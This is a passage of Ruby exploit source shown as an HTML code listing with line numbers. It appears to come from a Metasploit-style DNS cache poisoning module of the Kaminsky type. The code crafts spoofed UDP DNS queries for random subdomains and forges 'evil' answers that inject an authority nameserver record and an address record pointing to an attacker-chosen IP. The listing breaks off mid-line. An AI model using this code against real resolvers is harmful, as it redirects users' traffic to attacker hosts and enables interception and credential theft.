<br/>245&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; randhost = Rex::Text.rand_text_alphanumeric(12) + &#39;.&#39; + domain # randomize the hostname <br/>246&nbsp;&nbsp;<br/>247&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Send spoofed query <br/>248&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req = Resolv::DNS::Message.new <br/>249&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.id = rand(2**16) <br/>250&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.add_question(randhost, Resolv::DNS::Resource::IN::A) <br/>251&nbsp;&nbsp;<br/>252&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.rd = 1 <br/>253&nbsp;&nbsp;<br/>254&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buff = ( <br/>255&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Scruby::IP.new( <br/>256&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #:src&nbsp;&nbsp; =&gt; barbs[0][:addr].to_s, <br/>257&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :src&nbsp;&nbsp; =&gt; source, <br/>258&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :dst&nbsp;&nbsp; =&gt; target, <br/>259&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :proto =&gt; 17 <br/>260&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )/Scruby::UDP.new( <br/>261&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :sport =&gt; (rand((2**16)-1024)+1024).to_i, <br/>262&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :dport =&gt; 53 <br/>263&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )/req.encode <br/>264&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ).to_net <br/>265&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ip_sock.sendto(buff, target) <br/>266&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; queries += 1 <br/>267&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>268&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # Send evil spoofed answer from ALL nameservers (barbs<li>[:addr]) <br/>269&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) <br/>270&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.cr&#101;ate(hostname))) <br/>271&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) <br/>272&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.qr = 1 <br/>273&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; req.ra = 1 <br/>274&nbsp;&nbsp;<br/>275&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; p = rand(4)+2*10000 <br/>276&nbsp;&nbsp;&nbsp;&nbsp;